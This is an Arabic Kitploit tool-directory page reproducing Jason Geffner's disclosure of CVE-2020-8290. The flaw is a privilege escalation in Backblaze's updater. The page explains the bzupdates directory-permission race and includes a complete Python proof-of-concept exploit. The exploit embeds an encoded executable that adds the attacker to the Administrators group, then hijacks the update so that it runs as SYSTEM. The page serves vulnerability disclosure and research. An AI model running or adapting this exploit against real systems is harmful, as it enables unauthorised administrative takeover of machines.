Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2020-8290 — CVE-2020-8290 – رفع الامتيازات في Backblaze | Kitploit
أدوات/GitHubGitHub/geffner/cve-2020-8290
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاختبار الاختراق
GitHubgeffner/cve-2020-8290

CVE-2020-8290

CVE-2020-8290 – رفع الامتيازات في Backblaze

عرض المستودع
منذ 5 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2020-8290 – تصعيد الامتيازات في Backblaze

الملخص

الاسم: تصعيد الامتيازات في Backblaze
CVE: CVE-2020-8290
مكتشف الثغرة: Jason Geffner
البائع: Backblaze
المنتج: Backblaze لنظام Windows وBackblaze لنظام macOS
الخطورة: عالية
تاريخ الاكتشاف: 2020-03-13
تاريخ النشر: 2020-09-09
الإصدار المُصحَّح: 7.0.0.439

مقدمة

وفقًا لويكيبيديا، Backblaze هو

"أداة نسخ احتياطي عبر الإنترنت تتيح لمستخدمي Windows وmacOS نسخ بياناتهم احتياطيًا إلى مراكز بيانات خارج الموقع. صُممت الخدمة للشركات والمستخدمين النهائيين، وتوفر مساحة تخزين غير محدودة وتدعم أحجام ملفات غير محدودة."

تحتوي الإصدارات القابلة للاستغلال من Backblaze لنظام Windows وBackblaze لنظام macOS على ثغرة عالية الخطورة تسمح لمهاجم محلي غير مميز بتنفيذ هجوم تصعيد الامتيازات (EOP) ليصبح SYSTEM/root.

الثغرة

تعمل عملية الخدمة الخاصة بعميل Backblaze، المسماة bzserv، كـ SYSTEM على Windows وكـ root على macOS. كل ساعتين تقريبًا، يقوم bztransmit (الذي يتم تنفيذه كـ SYSTEM/root) بتشغيل برنامج باسم bztransmit لتنزيل ملف XML باسم clientversion.xml من مركز بيانات Backblaze لمعرفة ما إذا كان هناك إصدار أحدث من عميل Backblaze متاح للتنزيل، وإذا كان كذلك، يقوم بتنزيل مثبّت أحدث إصدار من مركز بيانات Backblaze. يُحفظ المثبّت الذي تم تنزيله في دليل %ProgramData%\Backblaze\bzdata\bzupdates على Windows وفي دليل /Library/Backblaze.bzpkg/bzdata/bzupdates أو /Library/Backblaze/bzdata/bzupdates على macOS. وبمجرد اكتمال التنزيل، يقوم bztransmit بتشغيل المثبّت الذي تم تنزيله كـ SYSTEM عبر ShellExecute() أو كـ root عبر system().

على Windows، يتم إنشاء الدليل %ProgramData%\Backblaze\bzdata وقت التثبيت بحيث يكون للمستخدمين المحليين غير المميزين صلاحيات قراءة وكتابة. تنشئ عملية bztransmit الدليل الفرعي bzupdates أثناء تشغيلها كـ SYSTEM، ولا يتمتع المستخدمون غير المميزين بصلاحيات قراءة أو كتابة على هذا الدليل الفرعي بمجرد إنشائه. ومع ذلك، لا تتحقق عملية bztransmit بشكل آمن من قائمة التحكم بالوصول (ACL) على هذا الدليل bzupdates إذا كان موجودًا بالفعل، ولا تقوم بتحديثها بشكل آمن إذا كان الدليل موجودًا بالفعل. وبناءً عليه، يمكن لمهاجم محلي غير مميز إنشاء الدليل %ProgramData%\Backblaze\bzdata\bzupdates قبل تثبيت Backblaze، أو إنشاء الدليل الفرعي bzupdates تحت %ProgramData%\Backblaze\bzdata بعد تثبيت Backblaze وقبل أن يقوم bztransmit بإنشاء الدليل الفرعي bzupdates. وهذا يسمح للمهاجم بأن يكون مالكًا لدليل bzupdates ويمتلك تحكمًا كاملاً في الملفات الموجودة في هذا الدليل. وبالتالي، يمكن للمهاجم تعديل أو استبدال ملف التحديث القابل للتنفيذ الذي تم تنزيله بعد تنزيله وقبل تنفيذه، مما يتيح تصعيد الامتيازات محليًا (EOP).

على macOS، يتم إنشاء الدليل /Library/Backblaze.bzpkg/bzdata (أو /Library/Backblaze/bzdata) وقت التثبيت بصلاحيات 0777 (drwxrwxrwx)، بحيث يكون للمستخدمين المحليين غير المميزين صلاحيات قراءة وكتابة. تنشئ عملية bztransmit الدليل الفرعي bzupdates بصلاحيات 0755 (drwxr-xr-x) أثناء تشغيلها كجذر، ولا يتمتع المستخدمون غير المميزين بصلاحيات قراءة أو كتابة على هذا الدليل الفرعي بمجرد إنشائه. ومع ذلك، لا تتحقق عملية bztransmit بشكل آمن من الصلاحيات على هذا الدليل bzupdates إذا كان موجودًا بالفعل، ولا تقوم بتحديثها بشكل آمن إذا كان الدليل موجودًا بالفعل. وبناءً عليه، يمكن لمهاجم محلي غير مميز إنشاء الدليل الفرعي bzupdates تحت /Library/Backblaze.bzpkg/bzdata (أو /Library/Backblaze/bzdata) بعد تثبيت Backblaze وقبل أن يقوم بإنشاء الدليل الفرعي . وهذا يسمح للمهاجم بأن يكون مالكًا لدليل ويمتلك تحكمًا كاملاً في الملفات الموجودة في هذا الدليل. وبالتالي، يمكن للمهاجم تعديل أو استبدال ملف التحديث القابل للتنفيذ الذي تم تنزيله بعد تنزيله وقبل تنفيذه، مما يتيح تصعيد الامتيازات محليًا (EOP).

إثبات المفهوم

الفيديو: https://youtu.be/OpC6neWd2aM

يُظهر الفيديو أعلاه جلستي تسجيل دخول متزامنتين إلى نفس الجهاز الافتراضي: جلسة مسؤول على اليسار، وجلسة مهاجم غير مميز على اليمين. يمكنك رؤية الخطوات التالية في الفيديو:

  1. يشغّل Attacker أمر net localgroup Administrators لإظهار أن حساب المهاجم غير المميز (المسمى Attacker) ليس عضوًا في مجموعة Administrators.
  2. يشغّل المهاجم python eop.py (يظهر كود مصدره أدناه).
  3. ثم يقوم المسؤول بتثبيت Backblaze.
  4. بعد ست دقائق، تقوم خدمة Backblaze المثبّتة بتنزيل clientversion.xml، والذي تقوم الأداة الاستغلالية باستبداله.
  5. بعد دقيقة واحدة، تقوم خدمة Backblaze المثبّتة بتنزيل ملف التحديث القابل للتنفيذ، والذي تقوم الأداة الاستغلالية باستبداله.
  6. ثم تقوم خدمة Backblaze بتشغيل ملف التحديث المستبدل، والذي يضيف حساب Attacker إلى مجموعة Administrators.
  7. ثم يقوم المهاجم بتشغيل net localgroup Administrators مرة أخرى لإظهار أن حساب Attacker قد أُضيف بالفعل إلى مجموعة Administrators. اكتمل تصعيد الامتيازات المحلي.
root@kitploit:~
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

"""Proof-of-concept exploit for CVE-2020-8290 for Windows."""


__author__ = "[email protected] (Jason Geffner)"
__version__ = "1.0"


import base64
import bz2
import ctypes
import os
import platform
import re
import subprocess
import time


def wait_for_filesystem_object(file_path):
    if os.path.exists(file_path):
        return
    parent_directory = os.path.dirname(file_path)
    if not os.path.exists(parent_directory):
        wait_for_filesystem_object(parent_directory)
    buffer = ctypes.create_string_buffer(1024)
    bytes_returned = ctypes.c_ulong()
    if "." in os.path.basename(file_path):
        notify_filter = 8
    else:
        notify_filter = 2
    h = ctypes.windll.kernel32.CreateFileW(parent_directory, 1, 3, None, 3,
                                           0x02000000, None)
    while not os.path.exists(file_path):
        ctypes.windll.kernel32.ReadDirectoryChangesW(
            h, ctypes.byref(buffer), 1024, False, notify_filter,
            ctypes.byref(bytes_returned), None, None)
    ctypes.windll.kernel32.CloseHandle(h)


def get_exe_content():
    #
    # Returns the content of an EXE that will add the attacker to the
    # Administrators group. Based on
    # https://github.com/corkami/pocs/blob/master/PE/tiny.asm
    #
    exe_content = bz2.decompress(base64.b85decode(
        "LRx4!F+o`-Q&~Gdx1Rt2IDf_b?h*hH0T=+r20)M=eGothKnwr?AOHZM0CF*qXfk9P8W?" +
        "~Xpp?}o=_Zd;AT%0gp!EiU7eYM!=ig9Ls6k|2Zp2X7u2P_M#mS9GBAA+UVO{FjHAvEri" +
        "p0bod_MlBT`kDlS6O$(^CD~4Z=KV8QJRn3`8m~{QUE*R2n)F)oG3^gpWDxX"))
    exe_content += ("NET LOCALGROUP Administrators " +
                    f"{os.environ['USERDOMAIN']}\\" +
                    f"{os.environ['USERNAME']} /ADD").encode()
    return exe_content


def am_i_admin():
    bufptr = ctypes.c_void_p()
    ctypes.windll.netapi32.NetUserGetInfo(
        os.environ["USERDOMAIN"], os.environ["USERNAME"], 1,
        ctypes.byref(bufptr))
    if platform.architecture()[0] == "32bit":
        usri1_priv = ctypes.string_at(bufptr, 13)[-1]
    else:
        usri1_priv = ctypes.string_at(bufptr, 21)[-1]
    ctypes.windll.netapi32.NetApiBufferFree(bufptr)
    return usri1_priv == 2


def poc():
    print(f"Running as user: {os.environ['USERNAME']}")

    # Ensure that we're running as an unprivileged user.
    print("Testing for administrative privileges...")
    if am_i_admin():
        print("You're already an administrator. Bye!")
        return
    print("You're a non-administrative user.")

    # Raise our process's priority to try to win our race condition.
    pid = ctypes.windll.kernel32.GetCurrentProcessId()
    h = ctypes.windll.kernel32.OpenProcess(0x200, False, pid)
    ctypes.windll.kernel32.SetPriorityClass(h, 0x100)
    ctypes.windll.kernel32.CloseHandle(h)

    # Create the bzupdates directory so that we are the owner of it.
    bzupdates = f"{os.environ['ProgramData']}\\Backblaze\\bzdata\\bzupdates"
    if os.path.exists(bzupdates):
        print("Backblaze's bzupdates directory was already created. You're " +
              "too late!")
        return
    os.makedirs(bzupdates)

    #
    # Get the installed hguid value so that we can force an update via
    # clientversion.xml.
    #
    if platform.architecture()[0] == "32bit":
        bzinstall = f"{os.environ['ProgramFiles']}\\Backblaze\\bzinstall.xml"
    else:
        bzinstall = f"{os.environ['ProgramFiles(x86)']}" +\
                    "\\Backblaze\\bzinstall.xml"
    if not os.path.exists(bzinstall):
        print("Waiting for Backblaze's installer to assign an hguid value.")
        wait_for_filesystem_object(bzinstall)
        print("Backblaze assigned an hguid value.")
    with open(bzinstall) as f:
        xml = f.read()
    hguid = re.search('hguid="([^"]+)"', xml).group(1)

    # Force update via clientversion.xml.
    if not os.path.exists(f"{bzupdates}\\clientversion.xml"):
        print("Waiting for Backblaze to download clientversion.xml.")
        wait_for_filesystem_object(f"{bzupdates}\\clientversion.xml")
        print("clientversion.xml now downloaded.")
    with open(f"{bzupdates}\\clientversion.xml", "r+") as f:
        xml = f.read()
        xml = re.sub('update_hguids_firstchar=".',
                     f'update_hguids_firstchar="{hguid[0]}', xml)
        xml = xml.replace('win32_version="', 'win32_version="1')
        f.truncate(0)
        f.seek(0)
        f.write(xml)
    print("clientversion.xml modified to force update next time Backblaze " +
          "considers updating.")

    # Don't allow SYSTEM to overwrite clientversion.xml.
    subprocess.run(["icacls.exe", f"{bzupdates}\\clientversion.xml",
                    "/setowner", f"{os.environ['USERNAME']}"])
    print()
    subprocess.run(f'echo y| cacls.exe "{bzupdates}\\clientversion.xml" ' +
                   '/S:D:PAI(A;;FA;;;OW)(A;;GRGX;;;SY)', shell=True)
    print()

    #
    # Create an executable to replace the downloaded update, which will elevate
    # our privileges.
    #
    exe_content = get_exe_content()
    with open(f"{bzupdates}\\eop.exe", "wb") as f:
        f.write(exe_content)

    #
    # Wait for update to download and overwrite it with attacker's executable.
    # In this PoC we use iexpress.exe (built into Windows) to create an EXE that
    # adds the attacker to the Administrators group, but an attacker could
    # supply any executable content they like.
    #
    exe = re.search('win32_url=.+?file=([^"]+)"', xml).group(1)
    print(f"Waiting for Backblaze to download {exe}.")
    wait_for_filesystem_object(f"{bzupdates}\\{exe}")
    os.replace(f"{bzupdates}\\eop.exe", f"{bzupdates}\\{exe}")
    print(f"{exe} downloaded and replaced.")
    print(f"{exe} should now get executed as SYSTEM.")

    for i in range(5):
        if am_i_admin():
            print("Success! You're now an administrator!")
            return
        time.sleep(1)
    print("Exploit failed. We probably lost the race-condition when " +
          f"overwriting {exe}.")


if __name__ == "__main__":
    poc()

التخفيف

صحّحت Backblaze هذه الثغرة في الإصدار 7.0.0.439 من Backblaze.

مكتشف الثغرة

تم اكتشاف هذه الثغرة والإبلاغ عنها إلى Backblaze بواسطة Jason Geffner عبر HackerOne.

الجدول الزمني

2020-03-13 - اكتشاف الثغرة والإبلاغ عنها إلى Backblaze عبر HackerOne
2020-03-26 - التحقق من الثغرة بواسطة HackerOne
2020-04-22 - تخصيص CVE-2020-8152
2020-04-22 - إصدار البنية 7.0.0.439
2020-04-22 - التحقق من تخفيف الثغرة
2020-04-23 - طلب الإفصاح العام
2020-09-09 - الإفصاح العام
2020-12-22 - تغيير تخصيص CVE إلى CVE-2020-8290

تنزيل الأداة
bztransmit
bzupdates
bzupdates